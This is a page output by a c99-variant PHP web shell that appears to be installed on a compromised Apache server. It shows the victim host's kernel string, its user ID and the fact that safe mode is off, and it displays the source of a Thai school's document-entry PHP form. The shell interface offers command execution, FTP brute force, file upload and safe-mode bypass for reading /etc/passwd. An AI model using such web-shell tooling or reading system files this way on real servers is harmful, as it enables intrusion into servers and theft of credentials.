!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Book_depart/Book_Acc/   drwxr-xr-x
Free 50.91 GB of 127.8 GB (39.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     BookAcc.php (9.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
 if (
session_is_registered("valid_user"))
 {
 
$Username $valid_user;
include(
"../../include/FunctionDB.php");
include(
"../../include/Function.php"); 
ConnectDB();
 
// $sql ="SELECT * FROM manament_tb WHERE  code='$code' ";
 // $result = mysql_query($sql) or die("Cannot Select").mysql_error();
 // $rs = mysql_fetch_array($result);
// $rs[Student_id] = mysql_insert_id();
?>

<html>
<head>
<title>Form insert accessories</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link rel="stylesheet" href="../css/cart4.css" type="text/css">
<link href="../../css/style1.css" rel="stylesheet" type="text/css">
<script language="JavaScript" type="text/JavaScript">
<!--
  function browse()
{
form1.Imag1.src = form1.Img1.value;
}
<!--
 function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}
//-->
function chk(c){
if (c.checked){
document.all.Prob1.disabled=false;
document.all.Prob2.disabled=false;
document.all.Prob3.disabled=false;
document.all.Prob4.disabled=false;
}
else{
document.all.Problem.disabled=false;
}
}
</script>
<style type="text/css">
<!--
.style2 {color: #0000FF}
.style3 {color: #000000}
-->
</style>
</head>
<body bgcolor="#FFFFFF">

<table width="95%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr> 
    <td><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#999999">
      <tr>
        <td colspan="6" bgcolor="#0066CC"><img src="../../Image/Booklogo.jpg" width="550" height="71"></td>
      </tr>
      <tr>
        <td width="20%" background="../../Image/barm.jpg" class="table"><div align="center"><strong><font size="2" face="Tahoma"><a href="../menu_teacher.php" class="d">¡ÅѺ˹éÒËÅÑ¡</a></font></strong></div></td>
        <td width="20%" background="../../Image/barm.jpg" class="table"><div align="center"><strong><font size="2" face="Tahoma"><a href="BookAcc.php" class="d">à¾ÔèÁ˹ѧÊ×Í</a></font></strong></div></td>
        <td width="20%" background="../../Image/barm.jpg" class="table"><div align="center"><strong><font size="2" face="Tahoma"><a href="BookList.php?Book_code=1" class="d">áÊ´§Ë¹Ñ§Ê×ÍÃѺ</a></font></strong></div></td>
        <td width="20%" background="../../Image/barm.jpg" class="table"><div align="center"><strong><font size="2" face="Tahoma"><a href="BookList.php?Book_code=2" class="d">áÊ´§Ë¹Ñ§Ê×ÍÊè§</a></font></strong></div></td>
        <td width="20%" background="../../Image/barm.jpg" class="table"><div align="center"><strong><font size="2" face="Tahoma"><a href="EditBookList.php" class="d">á¡éä¢</a></font></strong></div></td>
        <td width="20%" background="../../Image/barm.jpg" class="table"><div align="center"><strong><font size="2" face="Tahoma"><a href="../../Logout.php" class="d">Logout</a></font></strong></div></td>
      </tr>
    </table></td>
  </tr>
</table>
<table width="95%" height="342" border="0" align="center" cellpadding="0" cellspacing="1" style="border:1px solid gray">
  <tr bgcolor="#CCCCCC" > 
    <td height="25" colspan="3"> <div align="center" class="style2"><font size="4" face="Tahoma">à¾ÔèÁ¢éÍÁÙÅ˹ѧÊ×ÍÃѺ</font></div></td>
  </tr>
  <form name="form1" method="POST" action="../Book_Acc/InsertBook.php" enctype="multipart/form-data">
    <tr bgcolor="#EEEEEE">
      <td height="22" bgcolor="#EEEEEE"><div align="center" class="style3"><font size="2" face="Tahoma">ª¹Ô´¢Í§Ë¹Ñ§Ê×Í</font></div></td>
      <td>&nbsp;</td>
      <td><font color="#006633" size="2" face="Tahoma">
        <input name="Book_code" type="radio" value="1">
˹ѧÊ×ÍÃѺ
<input name="Book_code" type="radio" value="2">
˹ѧÊ×ÍÊè§</font>
        <label> </label></td>
    </tr>
    <tr bgcolor="#EEEEEE">
      <td height="22" bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">àÅ¢·Õè·ÐàºÕ¹ÃѺ</font></div></td>
      <td>&nbsp;</td>
      <td><input name="No" type="text" id="No" size="6" maxlength="6">  
      <font color="#006633" size="2" face="Tahoma">&nbsp;        </font><label></label></td>
    </tr>
    <tr bgcolor="#EEEEEE">
      <td height="22" bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma"> Çѹ·ÕèÃѺ˹ѧÊ×Í</font></div></td>
      <td>&nbsp;</td>
      <td><font color="#000000" size="2" face="Tahoma">Çѹ·Õè
            <select name="mDate" id="mDate" class="select" onkeypress="return handleEnter(this, event)" >
              <? getDay1to31();?>
            </select>
    à´×͹
    <select name="mMonth" id="mMonth" class="select" onkeypress="return handleEnter(this, event)">
      <? getThaiMonth();?>
    </select>
    »Õ ¾.È.
    <input name="mYear" type="text" id="mYear" size="4" maxlength="4" >
      </font> </td>
    </tr>
    <tr bgcolor="#EEEEEE"> 
      <td width="30%" height="20" bgcolor="#EEEEEE"> <div align="center"><font size="2" face="Tahoma">àÅ¢·Õè˹ѧÊ×ÍÃѺ</font></div></td>
      <td width="2%"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
      <td width="68%"><font color="#006633" size="2" face="Tahoma">
         <input name="No_in" type="text" id="No_in" size="30"> 
        </font></td>
    </tr>
    <tr bgcolor="#FFFFFF"> 
      <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">àÃ×èͧ</font></div></td>
      <td bgcolor="#EEEEEE"> <div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
      <td bgcolor="#EEEEEE">        <strong><font color="#003366" size="2" face="Tahoma">
</font><font color="#003366" size="2" face="Tahoma">
<textarea name="Status" cols="40" rows="3" id="Status"></textarea>
</font></strong></td>
    </tr>
    <tr bgcolor="#EEEEEE">
      <td height="22" bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma"><font size="2" face="Tahoma">ª×èͼÙéÃѺ˹ѧÊ×Í</font></font></div></td>
      <td><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></td>
      <td bgcolor="#EEEEEE"><strong><font color="#003366" size="2" face="Tahoma">
        <select name="Teacher_code" id="Teacher_code" class="input1">
          <?php
           $strSQL2 
"SELECT * FROM personal_tb Where  Permision='2'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
        </select>
      </font></strong></td>
    </tr>
    <tr bgcolor="#EEEEEE">
      <td bgcolor="#EEEEEE"><div align="center" class="style3"><font size="2" face="Tahoma">˹èǧҹ /½èÒÂ</font></div></td>
      <td>&nbsp;</td>
      <td><strong><font color="#003366" size="2" face="Tahoma">
        <select name="Faculty_code" id="Faculty_code" class="input1">
          <?php
           $strSQL3 
"SELECT * FROM  faculty_tb ";
           
$result3 mysql_query($strSQL3);
                 while( 
$rs3 mysql_fetch_array($result3))     
                     {
                 echo
"<option value=\"$rs3[Faculty_code]\" ><b>$rs3[Faculty_name]</b></option>\n";
                }
                
CloseDB();  
                
          
?>
        </select>
      </font></strong></td>
    </tr>
    <tr bgcolor="#EEEEEE">
      <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma"><font size="2">µéͧ¡ÒÃá¨é§ºØ¤Åҡ÷ء栤¹</font> </font></div></td>
      <td><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></td>
      <td><font size="2" face="Tahoma">
        <input name="Statistic" type="radio" value="á¨é§">
        á¨é§
        <input name="Statistic" type="radio" value="äÁèá¨é§">
äÁèá¨é§      </font></td>
    </tr>
    <tr bgcolor="#eeeeee"> 
      <td> <div align="center"><font size="2" face="Tahoma">˹èǧҹ</font></div></td>
      <td>&nbsp;</td>
      <td><input name="Store_1" type="text" class="input" id="Store_1" size="55"></td>
    </tr>
    <tr bgcolor="#EEEEEE">
      <td height="22" bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">ËÁÒÂà˵Ø</font>Ø</div></td>
      <td>&nbsp;</td>
      <td>      <textarea name="Description" cols="40" rows="3" id="Description"></textarea></td>
    </tr>
    <tr bordercolor="#CCCCCC" bgcolor="#ECF5FF">
      <td height="54" nowrap bordercolor="#CCCCCC"><div align="center"><font color="#003366" size="2" face="Tahoma">âËÅ´àÍ¡ÊÒà</font></div></td>
      <td bordercolor="#CCCCCC">&nbsp;</td>
      <td nowrap bordercolor="#99CCFF"><table width="82%" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td width="80%" height="34"><div align="center">
                <div align="left">
                  <input name="Img1" type="file" id="Img1" onChange=browse()>
                </div>
                <label>            </label></td>
            <td width="20%"><div align="center"></div></td>
          </tr>
      </table></td>
    </tr>
    <tr bgcolor="#CCCCFF" > 
      <td height="25" colspan="3"> <div align="center"> 
          <input type="submit" name="Submit" value=" ºÑ¹·Ö¡ " class="button">
          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
          <input type="reset" name="Submit2" value="àÃÔèÁãËÁè" class="button">
        </div></td>
    </tr>
  </form>
</table>
</body>
</html>
<?php
    
}
else
{
    echo
"<body bgcolor=\"#CCCCCC\">";
   echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../logout.php\" target=\"mainFrame\">\n";
   echo
"<center>";
     echo
"<br><br><br><b><font face=\"Tahoma\" size=\"4\" color=\"#FF0000\">Please Login</font> </b><br>";
      echo
"<br><br><font face=\"Tahoma\" size=\"10\" color=\"#000000\"> ERROR 404 PERMISION DENY</font><br>";
      echo
"<br><font face=\"Tahoma\" size=\"4\" color=\"#000000\"> ¤Ø³äÁèÁÊÔ·¸ìãªé§Ò¹</font>";
      echo
"</center>";
      echo
"</body>";

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0179 ]--